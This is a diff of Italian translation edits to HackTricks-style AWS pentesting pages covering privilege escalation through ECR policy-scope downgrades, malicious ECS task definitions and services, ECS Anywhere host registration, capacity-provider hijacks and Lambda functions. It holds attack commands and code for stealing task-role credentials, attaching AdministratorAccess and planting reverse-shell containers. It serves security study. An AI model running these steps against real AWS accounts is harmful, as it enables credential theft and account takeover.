-Abusa di `ecr:PutAccountSetting` per cambiare l'ambito della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con effetto Deny blocca azioni come `CreatePullThroughCacheRule`, il downgrade a `V1` rimuove quell'applicazione in modo che gli Allows della identity‑policy abbiano effetto.
+Abusa di `ecr:PutAccountSetting` per cambiare lo scope della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con Deny blocca azioni come `CreatePullThroughCacheRule`, il downgrade a `V1` rimuove quell'applicazione e permette agli Allow della identity-policy di avere effetto.

 - Permessi richiesti: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impatto: Capacità di eseguire azioni ECR precedentemente bloccate da una registry policy con effetto Deny (es., creare PTC rules) impostando temporaneamente lo scope su `V1`.
+- Impatto: Possibilità di eseguire azioni ECR precedentemente bloccate da un Deny della registry policy (es. creare regole PTC) impostando temporaneamente lo scope su `V1`.

-Passaggi (esempio):
+Passi (esempio):

 <details>
-<summary>Bypass registry policy Deny su CreatePullThroughCacheRule passando a V1</summary>
+<summary>Eludere il Deny della registry policy su CreatePullThroughCacheRule passando a V1</summary>
 ```bash
 REGION=us-east-1
 ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -266,3 +260,5 @@ fi
 aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
 ```
 </details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Maggiori **informazioni su ECS** in:

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

-Un attaccante che abusa del permesso `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirla**.
+An attacker che abusa dei permessi `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirla**.

 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#endtabs }}

-**Impatto potenziale:** Privesc diretto a un diverso ECS role.
+**Impatto potenziale:** Direct privesc su un ruolo ECS diverso.

 ### `iam:PassRole`,`ecs:RunTask`
-Un attacker che dispone dei permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati per il **ruolo di esecuzione**, il **ruolo del task** e il **comando** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition.
+Un attacker che ha i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati per **execution role**, **task role** e il **command** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition.

-I ruoli IAM specificati in `taskRoleArn` e `executionRoleArn` devono permettere di essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
+I ruoli IAM specificati per `taskRoleArn` e `executionRoleArn` devono consentire di essere assunti da `ecs-tasks.amazonaws.com` nella relativa trust policy.

-Inoltre, l'attacker deve conoscere:
- ECS cluster name
- VPC Subnet
- Security group (Se non viene specificato alcun security group verrà utilizzato quello predefinito)
- Task Definition Name and revision
- Nome del container
+Inoltre, l'attaccante deve conoscere:
+- nome del cluster ECS
+- sottorete VPC
+- security group (Se non è specificato verrà usato quello di default)
+- Nome della task definition e revisione
+- Nome del Container
 ```bash
 aws ecs run-task \
 --cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-Nel frammento di codice sopra un attacker sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attacker deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition perché l'attacco possa avvenire.
+Nel frammento di codice sopra un attaccante sovrascrive solo il valore di `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco avvenga.

-Se l'IAM role che l'attacker può passare ha privilegi sufficienti per scaricare un'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) allora l'attacker può specificare lo stesso IAM role sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
+Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per scaricare un'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -125,8 +125,8 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

-Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare un nuovo task definition** con un **container malevolo** che ruba le credenziali dai metadata e **eseguirlo**.\
-Tuttavia, in questo caso, è necessario che esista una container instance su cui eseguire il task definition malevolo.
+Proprio come nell'esempio precedente, un attacker che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le metadata credentials e **eseguirla**.\
+Tuttavia, in questo caso, è necessario che sia disponibile una container instance per eseguire la malicious task definition.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.
+**Impatto potenziale:** Privesc diretto su qualsiasi ruolo ECS.

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

-Proprio come nell'esempio precedente, un attaccante che sfrutta i permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le credenziali dei metadati e **eseguirla creando un nuovo service con almeno 1 task in esecuzione.**
+Proprio come nell'esempio precedente, un attaccante che abusi delle autorizzazioni **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le metadata credentials e **eseguirla creando un nuovo service con almeno 1 task in esecuzione.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,12 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Potenziale Impatto:** privesc diretto a qualsiasi ruolo ECS.
+**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.

 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

-
-In realtà, solo con quelle autorizzazioni è possibile usare gli overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del tipo:
+In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un contenitore con un ruolo arbitrario usando qualcosa del genere:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -182,16 +181,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Impatto potenziale:** privesc diretto a qualsiasi ECS role.
+**Potenziale Impatto:** Privesc diretto a qualsiasi ECS role.

 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

 Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
-Rimane comunque interessante perché, se puoi eseguire un container arbitrario, anche senza un role, potresti **eseguire un privileged container per evadere** verso il nodo e **rubare l'EC2 IAM role** e le **altre ECS containers roles** in esecuzione sul nodo.\
-Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
+Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche senza ruolo, potresti **eseguire un container privilegiato per effettuare escape** verso il nodo e **rubare l'EC2 IAM role** e i **roles degli altri ECS containers** in esecuzione sul nodo.\
+Potresti persino **forzare l'esecuzione di altri task all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come descritto nella [**sezione Privesc to node**](aws-ecs-post-exploitation/README.md#privesc-to-node)).

 > [!WARNING]
-> Questo attacco è possibile solo se il **ECS cluster sta usando EC2** e non Fargate.
+> Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate.
 ```bash
 printf '[
 {
@@ -234,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-Un attacker con le **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **execute commands** all'interno di un container in esecuzione e esfiltrare l'IAM role ad esso collegato (servono le describe permissions perché sono necessarie per eseguire `aws ecs execute-command`).\
-Tuttavia, per farlo, l'istanza del container deve avere in esecuzione il **ExecuteCommand agent** (che di default non lo fa).
+Un attaccante con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario il permesso di describe perché è necessario eseguire `aws ecs execute-command`).\
+Tuttavia, per farlo, l'istanza del container deve avere in esecuzione l'**ExecuteCommand agent** (che per impostazione predefinita non lo è).

-Pertanto, l'attacker potrebbe provare a:
+Pertanto, l'attaccante potrebbe provare a:

- **Try to run a command** in ogni container in esecuzione
+- **Provare a eseguire un comando** in ogni container in esecuzione
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -257,18 +256,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
- Se ha **`ecs:RunTask`**, esegui un task con `aws ecs run-task --enable-execute-command [...]`
- Se ha **`ecs:StartTask`**, esegui un task con `aws ecs start-task --enable-execute-command [...]`
- Se ha **`ecs:CreateService`**, crea un service con `aws ecs create-service --enable-execute-command [...]`
- Se ha **`ecs:UpdateService`**, aggiorna un service con `aws ecs update-service --enable-execute-command [...]`
+- Se ha **`ecs:RunTask`**, eseguire un task con `aws ecs run-task --enable-execute-command [...]`
+- Se ha **`ecs:StartTask`**, eseguire un task con `aws ecs start-task --enable-execute-command [...]`
+- Se ha **`ecs:CreateService`**, creare un service con `aws ecs create-service --enable-execute-command [...]`
+- Se ha **`ecs:UpdateService`**, aggiornare un service con `aws ecs update-service --enable-execute-command [...]`

-Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni di ECS privesc**.
+Puoi trovare **esempi di queste opzioni** nelle **sezioni precedenti di ECS privesc**.

 **Potential Impact:** Privesc a un ruolo diverso associato ai container.

 ### `ssm:StartSession`

-Controlla nella **pagina ssm privesc** come puoi abusare di questo permesso per **privesc a ECS**:
+Controlla nella **pagina ssm privesc** come puoi abusare di questa autorizzazione per **privesc a ECS**:

 {{#ref}}
 ../aws-ssm-privesc/README.md
@@ -276,7 +275,7 @@ Controlla nella **pagina ssm privesc** come puoi abusare di questo permesso per

 ### `iam:PassRole`, `ec2:RunInstances`

-Controlla nella **pagina ec2 privesc** come puoi abusare di questi permessi per **privesc a ECS**:
+Controlla nella **pagina ec2 privesc** come puoi abusare di queste autorizzazioni per **privesc a ECS**:

 {{#ref}}
 ../aws-ec2-privesc/README.md
@@ -284,16 +283,16 @@ Controlla nella **pagina ec2 privesc** come puoi abusare di questi permessi per

 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

-Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.
+Un attaccante con queste autorizzazioni potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguirci dei task. Questo potrebbe permettere all'attaccante di eseguire codice arbitrario nel contesto dei task ECS.

- TODO: È possibile registrare un'istanza da un altro account AWS in modo che i task vengano eseguiti su macchine controllate dall'attacker??
+- TODO: È possibile registrare un'istanza da un account AWS diverso in modo che i task vengano eseguiti su macchine controllate dall'attaccante??

 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

 > [!NOTE]
 > TODO: Testare questo

-Un attacker con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set**. Questo permette all'attacker di **eseguire codice arbitrario all'interno del servizio**.
+Un attaccante con le autorizzazioni `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -319,13 +318,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Potential Impact**: Eseguire codice arbitrario nel servizio interessato, impattandone la funzionalità o esfiltrando dati sensibili.
+**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, impattandone potenzialmente la funzionalità o esfiltrando dati sensibili.

 ## References

 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)

-{{#include ../../../../banners/hacktricks-training.md}}
+



@@ -333,11 +332,11 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi

 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-Un attaccante con permessi per gestire gli ECS capacity providers e aggiornare i servizi può creare un EC2 Auto Scaling Group sotto il suo controllo, inserirlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. I task verranno quindi schedulati sulle istanze EC2 controllate dall'attaccante, consentendo accesso a livello OS per ispezionare i container e rubare le credenziali del task role.
+Un attacker con i permessi per gestire ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. I tasks verranno quindi schedulati su EC2 instances controllate dall'attacker, permettendo accesso a livello OS per ispezionare i containers e rubare le task role credentials.

-Comandi (us-east-1):
+Commands (us-east-1):

- Prerequisiti
+- Prereqs



@@ -371,7 +370,7 @@ Comandi (us-east-1):



-**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
+**Impatto potenziale:** Attacker-controlled EC2 nodes ricevono victim tasks, abilitando accesso a livello OS ai containers e il furto delle task IAM role credentials.


 <details>
@@ -410,23 +409,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que

 ### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

-Abuse ECS Anywhere per registrare un host controllato dall'attaccante come EXTERNAL container instance in un cluster ECS vittima ed eseguire task su quell'host usando task e execution roles privilegiati. Questo garantisce controllo a livello OS su dove i task vengono eseguiti (la tua macchina) e permette il furto di credenziali/dati dai task e dai volumi collegati senza toccare capacity providers o ASG.
+Abuse ECS Anywhere per registrare un attacker-controlled host come EXTERNAL container instance in un victim ECS cluster ed eseguire tasks su quell'host usando task ed execution roles privilegiati. Questo concede controllo a livello OS su dove i tasks vengono eseguiti (la tua macchina) e permette il furto di credenziali/dati dai tasks e dai volumi allegati senza toccare capacity providers o ASGs.

- Permessi richiesti (esempio minimo):
+- Required perms (example minimal):
 - ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
 - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (per il role instance di ECS Anywhere e per i ruoli task/execution)
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
 - logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- Impact: Eseguire container arbitrari con taskRoleArn scelto sull'host dell'attaccante; esfiltrare le credenziali del task-role da 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; accedere a eventuali volumi montati dai task; più furtivo rispetto alla manipolazione di capacity providers/ASGs.
+- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.

 Steps

-1) Create/identify cluster (us-east-1)
+1) Crea/identifica cluster (us-east-1)
 ```bash
 aws ecs create-cluster --cluster-name ht-ecs-anywhere
 ```
-2) Crea ruolo ECS Anywhere e attivazione SSM (per on-prem/EXTERNAL instance)
+2) Creare il ruolo ECS Anywhere e l'attivazione SSM (per istanza on-prem/EXTERNAL)
 ```bash
 aws iam create-role --role-name ecsAnywhereRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -435,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
 ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
 ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
 ```
-3) Provisiona un host attacker e registralo automaticamente come EXTERNAL (esempio: piccolo AL2 EC2 come “on‑prem”)
+3) Provisionare un host dell'attaccante e registrarlo automaticamente come EXTERNAL (esempio: piccolo AL2 EC2 come “on‑prem”)

 <details>
 <summary>user-data.sh</summary>
@@ -456,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
 --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
 aws ec2 wait instance-status-ok --instance-ids $IID
 ```
-4) Verificare che l'EXTERNAL container instance si sia unita
+4) Verificare che l'istanza container EXTERNAL si sia unita
 ```bash
 aws ecs list-container-instances --cluster ht-ecs-anywhere
 aws ecs describe-container-instances --cluster ht-ecs-anywhere \
 --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
 # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
 ```
-5) Creare task/execution roles, registrare EXTERNAL task definition e avviarla sull'attacker host
+5) Crea task/execution roles, registra EXTERNAL task definition e eseguila sull'attacker host
 ```bash
 # roles
 aws iam create-role --role-name ht-ecs-task-exec \
@@ -499,18 +498,18 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
 aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 --container-instances $CI
 ```
-6) Da qui controlli l'host che esegue le tasks. Puoi leggere i log delle tasks (se awslogs) o eseguire direttamente exec sull'host per esfiltrare credenziali/dati dalle tue tasks.
+6) Da qui controlli l'host che esegue i tasks. Puoi leggere i task logs (se awslogs) o eseguire direttamente exec sull'host per esfiltrare credenziali/dati dai tuoi tasks.



-#### Esempio di comando (segnaposto)
+#### Esempio di comando (placeholders)




 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-Un attacker con permessi per gestire gli ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. Le tasks verranno quindi schedulate su istanze EC2 controllate dall'attacker, consentendo accesso a livello OS per ispezionare i containers e rubare le task role credentials.
+Un attaccante con permessi per gestire gli ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, avvolgerlo in un ECS Capacity Provider, associarlo al cluster di destinazione e migrare un service vittima per usare questo provider. I Tasks saranno quindi schedulati su EC2 instances controllate dall'attaccante, consentendo accesso a livello OS per ispezionare i containers e rubare le task role credentials.

 Commands (us-east-1):

@@ -518,7 +517,7 @@ Commands (us-east-1):



- Crea Launch Template affinché l'ECS agent si unisca al target cluster
+- Crea Launch Template per far sì che l'ECS agent si unisca al target cluster



@@ -538,14 +537,15 @@ Commands (us-east-1):



- Verifica che le tasks finiscano sulle istanze dell'attacker
+- Verifica che i tasks vengano eseguiti su EC2 instances controllate dall'attaccante



- Opzionale: dalla EC2 node, esegui docker exec nei container target e leggi http://169.254.170.2 per ottenere le task role credentials.
+- Opzionale: dall'EC2 node, esegui docker exec nei target containers e leggi http://169.254.170.2 per ottenere le credenziali del task role.

 - Cleanup



-**Impatto potenziale:** Le EC2 node controllate dall'attacker ricevono le tasks vittima, consentendo accesso a livello OS ai containers e il furto delle task IAM role credentials.
+**Impatto potenziale:** I nodi EC2 controllati dall'attaccante ricevono i tasks della vittima, permettendo accesso a livello OS ai containers e il furto delle task IAM role credentials.
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,9 +12,9 @@ Maggiori informazioni su lambda in:

 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

-Gli utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
-Possono **creare una nuova Lambda function e assegnarle un IAM role esistente**, concedendo alla funzione i permessi associati a quel role. L'utente può quindi **scrivere e caricare codice in questa Lambda function (ad esempio con una rev shell)**.\
-Una volta che la funzione è configurata, l'utente può **avviarne l'esecuzione** e le azioni desiderate invocando la Lambda function tramite l'AWS API. Questo approccio permette efficacemente all'utente di eseguire compiti indirettamente tramite la Lambda function, operando con il livello di accesso concesso dall'IAM role associato.\\
+Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction`, e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
+Possono **creare una nuova Lambda function e assegnarle un IAM role esistente**, concedendo alla function i permessi associati a quel ruolo. L'utente può poi **scrivere e caricare codice su questa Lambda function (ad esempio con una rev shell)**.\
+Una volta configurata la function, l'utente può **attivarne l'esecuzione** e le azioni previste invocando la Lambda function tramite l'AWS API. Questo approccio permette all'utente di eseguire compiti indirettamente attraverso la Lambda function, operando con il livello di accesso concesso all'IAM role ad essa associato.\\

 Un attacker potrebbe abusarne per ottenere una **rev shell e rubare il token**:
 ```python:rev.py
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-Potresti anche **abuse the lambda role permissions** dalla lambda function stessa.\
-Se il lambda role avesse sufficienti permissions potresti usarlo per concederti admin rights:
+Puoi anche **abusare dei permessi del ruolo lambda** dalla stessa funzione lambda.\
+Se il ruolo lambda avesse permessi sufficienti, potresti usarlo per concederti diritti di amministratore:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-È anche possibile ottenere un leak delle credenziali del ruolo della lambda senza necessità di una connessione esterna. Questo può essere utile per **Network isolated Lambdas** usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di ottenere direttamente il leak delle credenziali come output della lambda.
+È inoltre possibile effettuare un leak delle credenziali del ruolo della lambda senza bisogno di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** usate per attività interne. Se ci sono security groups sconosciuti che filtrano i tuoi reverse shells, questo pezzo di codice ti permetterà di effettuare direttamente il leak delle credenziali come output della lambda.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
+**Impatto potenziale:** Privesc diretto sul ruolo di servizio lambda arbitrario specificato.

 > [!CAUTION]
-> Nota che anche se può sembrare interessante **`lambda:InvokeAsync`** **non** permette da solo di **eseguire `aws lambda invoke-async`**, è necessario anche `lambda:InvokeFunction`
+> Nota che, anche se può sembrare interessante **`lambda:InvokeAsync`** **non** consente da sola di **eseguire `aws lambda invoke-async`**, è necessario anche `lambda:InvokeFunction`

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

-Come nello scenario precedente, puoi **concederti il permesso `lambda:InvokeFunction`** se hai il permesso **`lambda:AddPermission`**
+Come nello scenario precedente, puoi **assegnarti la permission `lambda:InvokeFunction`** se disponi della permission **`lambda:AddPermission`**
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**Impatto potenziale:** Privesc diretto al ruolo di servizio Lambda arbitrario specificato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

-Utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalate privileges** anche senza `lambda:InvokeFunction`.\  
-Possono creare una **funzione Lambda con codice dannoso e assegnarle un ruolo IAM esistente**.
+Utenti con le autorizzazioni **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalate privileges** anche senza `lambda:InvokeFunction`.\  
+Possono creare una **Lambda function con codice malevolo e assegnarle un ruolo IAM esistente**.

-Invece di invocare direttamente la funzione Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione assicura che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo item** nella tabella, sia per azione dell'utente sia per un altro processo, innescando quindi indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.
+Anziché invocare direttamente la Lambda, l'utente crea o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite un event source mapping. Questa configurazione garantisce che la Lambda function venga attivata automaticamente all'inserimento di un nuovo item nella tabella, sia per azione dell'utente sia per un altro processo, invocando così indirettamente la Lambda e eseguendo il codice con le autorizzazioni del ruolo IAM passato.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo **configurare l'event source mapping** per la funzione Lambda. Tuttavia, se DynamoDB non è in uso, l'utente deve **creare una nuova tabella** con lo streaming abilitato:
+Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo **stabilire l'event source mapping** per la Lambda function. Tuttavia, se DynamoDB non è in uso, l'utente deve **creare una nuova tabella** con lo streaming abilitato:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **un event source mapping**:
+Ora è possibile **connettere la Lambda function alla DynamoDB table** creando **un event source mapping**:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può **innescare indirettamente la Lambda attivando lo stream di DynamoDB**. Questo può essere fatto **inserendo un elemento** nella tabella DynamoDB:
+Con la funzione Lambda collegata allo stream di DynamoDB, l'attaccante può **indirettamente attivare la Lambda tramite l'attivazione dello stream di DynamoDB**. Questo può essere ottenuto **inserendo un item** nella tabella DynamoDB:
 ```bash
